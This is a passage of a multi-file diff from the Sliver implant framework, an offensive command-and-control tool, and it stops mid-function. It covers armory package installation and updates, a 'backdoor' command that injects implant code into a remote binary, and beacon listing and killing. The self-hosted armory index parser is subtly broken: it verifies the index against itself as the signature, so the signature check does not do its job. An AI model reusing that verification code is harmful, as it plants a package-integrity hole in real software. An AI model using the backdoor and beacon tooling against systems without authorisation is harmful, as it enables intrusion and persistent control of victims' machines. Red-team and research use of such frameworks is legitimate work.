MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
)
var (
ErrPackageNotFound = errors.New("package not found")
)
// ArmoryInstallCmd - The armory install command
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("A package or bundle name is required")
return
}
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
}
if err == ErrPackageNotFound {
bundles := bundlesInCache()
for _, bundle := range bundles {
if bundle.Name == name {
installBundle(bundle, clientConfig, con)
return
}
}
}
con.PrintErrorf("No package or bundle named '%s' was found", name)
}
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
for _, pkgName := range bundle.Packages {
err := installPackageByName(pkgName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
}
}
}
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name {
installAlias(alias, clientConfig, con)
return nil
}
}
for _, ext := range extensions {
if ext.CommandName == name {
installExtension(ext, clientConfig, con)
return nil
}
}
return ErrPackageNotFound
}
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
return
}
}
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return errors.New("package not found")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
}
con.PrintInfof("Downloading alias ...")
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
}
if err != nil {
return err
}
var publicKey minisign.PublicKey
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
rawSig, _ := sig.MarshalText()
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
if !valid {
return errors.New("signature verification failed")
}
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
tmpFile.Close()
con.Printf(console.Clearln + "\r") // Clear the line
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install alias")
}
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
if err != nil {
return err
}
return nil
}
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
deps := make(map[string]struct{})
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
for dep := range deps {
if extensions.CmdExists(dep, con.App) {
continue // Dependency is already installed
}
err := installExtensionPackageByName(dep, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
return
}
}
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
return
}
}
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return
}
if entry.Extension.DependsOn == "" {
return // Avoid adding empty dependency
}
if entry.Extension.DependsOn == name {
return // Avoid infinite loop of something that depends on itself
}
// We also need to look out for circular dependencies, so if we've already
// seen this dependency, we stop resolving
if _, ok := deps[entry.Extension.DependsOn]; ok {
return // Already resolved
}
if maxDepDepth < len(deps) {
return
}
deps[entry.Extension.DependsOn] = struct{}{}
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
}
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return errors.New("package not found")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
}
con.PrintInfof("Downloading extension ...")
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
}
if err != nil {
return err
}
var publicKey minisign.PublicKey
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
rawSig, _ := sig.MarshalText()
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
if !valid {
return errors.New("signature verification failed")
}
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
err = tmpFile.Sync()
if err != nil {
return err
}
con.Printf(console.Clearln + "\r") // Clear download message
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install extension")
}
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
if err != nil {
return err
}
if extensions.CmdExists(extCmd.Name, con.App) {
con.App.Commands().Remove(extCmd.Name)
}
extensions.ExtensionRegisterCommand(extCmd, con)
return nil
}
+468
View File
@@ -0,0 +1,468 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/tls"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"net"
"net/http"
"net/url"
"path"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
)
// ArmoryIndexParser - Generic interface to fetch armory indexes
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
// ArmoryPackageParser - Generic interface to fetch armory package manifests
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
var (
indexParsers = map[string]ArmoryIndexParser{
"api.github.com": GithubAPIArmoryIndexParser,
}
pkgParsers = map[string]ArmoryPackageParser{
"api.github.com": GithubAPIArmoryPackageParser,
"github.com": GithubArmoryPackageParser,
}
)
const (
armoryIndexFileName = "armory.json"
armoryIndexSigFileName = "armory.minisig"
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig
ArmoryIndex string `json:"armory_index"` // Base64 String
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig
TarGzURL string `json:"tar_gz_url"`
}
//
// Default Parsers for Self-Hosted Armories
//
// DefaultArmoryParser - Parse the armory index directly from the url
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
return nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
index := &armoryIndexResponse{}
err = json.Unmarshal(body, index)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
if !valid {
return nil, errors.New("invalid signature")
}
armoryIndex := &ArmoryIndex{}
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
if err != nil {
return nil, err
}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
}
return armoryIndex, nil
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
pkgResp := &armoryPkgResponse{}
err = json.Unmarshal(body, pkgResp)
if err != nil {
return nil, nil, err
}
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
if err != nil {
return nil, nil, err
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
return nil, nil, errors.New("invalid url scheme")
}
resp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
tarGz, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
}
return sig, tarGz, nil
}
//
// GitHub API Parsers
//
type GithubAsset struct {
ID int `json:"id"`
Name string `json:"name"`
URL string `json:"url"`
Size int `json:"size"`
BrowserDownloadURL string `json:"browser_download_url"`
}
type GithubRelease struct {
ID int `json:"id"`
Name string `json:"name"`
URL string `json:"url"`
HTMLURL string `json:"html_url"`
TagName string `json:"tag_name"`
Body string `json:"body"`
Prerelease bool `json:"prerelease"`
TarballURL string `json:"tarball_url"`
ZipballURL string `json:"zipball_url"`
CreatedAt string `json:"created_at"`
PublishedAt string `json:"published_at"`
Assets []GithubAsset `json:"assets"`
}
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
return nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, errors.New("api returned non-200 status code")
}
releases := []GithubRelease{}
err = json.Unmarshal(body, &releases)
if err != nil {
return nil, err
}
if len(releases) < 1 {
return nil, errors.New("no releases found")
}
release := releases[0] // Latest only right now
var armoryIndexData []byte
var sigData []byte
for _, asset := range release.Assets {
if asset.Name == armoryIndexFileName {
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
armoryIndexData, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
}
if asset.Name == armoryIndexSigFileName {
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
sigData, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
}
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, armoryIndexData, sigData)
if !valid {
return nil, errors.New("invalid signature")
}
armoryIndex := &ArmoryIndex{}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
}
return armoryIndex, nil
}
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, nil, errors.New("api returned non-200 status code")
}
releases := []GithubRelease{}
err = json.Unmarshal(body, &releases)
if err != nil {
return nil, nil, err
}
release := releases[0] // Latest only right now
var sig *minisign.Signature
var tarGz []byte
for _, asset := range release.Assets {
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
var resp *http.Response
resp, err = client.Get(asset.BrowserDownloadURL)
if err != nil {
break
}
defer resp.Body.Close()
var body []byte
body, err = ioutil.ReadAll(resp.Body)
if err != nil {
break
}
sig, err = parsePkgMinsig(body)
if err != nil {
break
}
}
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
var resp *http.Response
resp, err = client.Get(asset.BrowserDownloadURL)
if err != nil {
break
}
defer resp.Body.Close()
tarGz, err = ioutil.ReadAll(resp.Body)
if err != nil {
break
}
}
}
return sig, tarGz, err
}
//
// GitHub Parsers
//
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
sigURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
sigResp, err := client.Get(sigURL.String())
if err != nil {
return nil, nil, err
}
defer sigResp.Body.Close()
if sigResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
}
var body []byte
body, err = ioutil.ReadAll(sigResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
}
sig, err := parsePkgMinsig(body)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
tarGzResp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer tarGzResp.Body.Close()
if tarGzResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
}
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
}
}
return sig, tarGz, nil
}
// We need to intercept the 302 redirect to determine the latest version tag
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
client := httpClient(clientConfig)
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
latestURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
latestRedirect, err := client.Get(latestURL.String())
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
defer latestRedirect.Body.Close()
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
if latestRedirect.Header.Get("Location") == "" {
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
}
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
if err != nil {
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
}
pathSegments := strings.Split(latestLocationURL.Path, "/")
for index, segment := range pathSegments {
if segment == "tag" && index+1 < len(pathSegments) {
return pathSegments[index+1], nil
}
}
return "", errors.New("tag not found in location header")
}
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
var sig minisign.Signature
err := sig.UnmarshalText(data)
if err != nil {
return nil, err
}
if len(sig.TrustedComment) < 1 {
return nil, errors.New("missing trusted comment")
}
return &sig, nil
}
func httpClient(config ArmoryHTTPConfig) *http.Client {
return &http.Client{
Timeout: config.Timeout,
Transport: &http.Transport{
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
IdleConnTimeout: time.Millisecond,
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
},
},
}
}
+65
View File
@@ -0,0 +1,65 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"regexp"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ArmorySearchCmd - Search for packages by name
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
rawNameExpr := ctx.Args.String("name")
if rawNameExpr == "" {
con.PrintErrorf("Please specify a search term!\n")
return
}
nameExpr, err := regexp.Compile(rawNameExpr)
if err != nil {
con.PrintErrorf("Invalid regular expression: %s\n", err)
return
}
aliases, exts := packagesInCache()
matchedAliases := []*alias.AliasManifest{}
for _, a := range aliases {
if nameExpr.MatchString(a.CommandName) {
matchedAliases = append(matchedAliases, a)
}
}
matchedExts := []*extensions.ExtensionManifest{}
for _, ext := range exts {
if nameExpr.MatchString(ext.CommandName) {
matchedExts = append(matchedExts, ext)
}
}
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
return
}
PrintArmoryPackages(matchedAliases, matchedExts, con)
}
+112
View File
@@ -0,0 +1,112 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ArmoryUpdateCmd - Update all installed extensions/aliases
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
// Aliases
aliasUpdates := checkForAliasUpdates(clientConfig, con)
if 0 < len(aliasUpdates) {
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
for _, aliasName := range aliasUpdates {
err := installAliasPackageByName(aliasName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
}
}
} else {
con.PrintInfof("All aliases up to date!\n")
}
// Extensions
extUpdates := checkForExtensionUpdates(clientConfig, con)
if 0 < len(extUpdates) {
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
for _, extName := range extUpdates {
err := installExtensionPackageByName(extName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
}
}
} else {
con.PrintInfof("All extensions up to date!\n")
}
}
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
cachedAliases, _ := packagesInCache()
results := []string{}
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
data, err := ioutil.ReadFile(aliasManifestPath)
if err != nil {
continue
}
localManifest, err := alias.ParseAliasManifest(data)
if err != nil {
continue
}
for _, latestAlias := range cachedAliases {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
}
}
}
return results
}
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
_, cachedExtensions := packagesInCache()
results := []string{}
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
data, err := ioutil.ReadFile(extManifestPath)
if err != nil {
continue
}
localManifest, err := extensions.ParseExtensionManifest(data)
if err != nil {
continue
}
for _, latestExt := range cachedExtensions {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
}
}
}
return results
}
+4
View File
@@ -0,0 +1,4 @@
Backdoor
========
Implements command related to `backdoor`
+66
View File
@@ -0,0 +1,66 @@
package backdoor
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
remoteFilePath := ctx.Args.String("remote-file")
if remoteFilePath == "" {
con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
return
}
profileName := ctx.Flags.String("profile")
ctrl := make(chan bool)
msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
con.SpinUntil(msg, ctrl)
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if backdoor.Response != nil && backdoor.Response.Err != "" {
con.PrintErrorf("%s\n", backdoor.Response.Err)
return
}
con.PrintInfof("Uploaded backdoor'd binary to %s\n", remoteFilePath)
}
+4
View File
@@ -0,0 +1,4 @@
Beacons
========
This package implements the beacons command, which can be used to list and interact with beacons.
+169
View File
@@ -0,0 +1,169 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// BeaconsCmd - Display/interact with beacons
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
killFlag := ctx.Flags.String("kill")
killAll := ctx.Flags.Bool("kill-all")
// Handle kill
if killFlag != "" {
beacon, err := GetBeacon(con, killFlag)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, false, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
if killAll {
beacons, err := GetBeacons(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, con)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
}
for _, beacon := range beacons {
color := console.Normal
activeBeacon := con.ActiveTarget.GetBeacon()
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
color = console.Green
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
var next string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Since(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
} else {
eta := time.Until(nextCheckin)
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
}
if con.Settings.SmallTermWidth < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
next,
})
} else {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
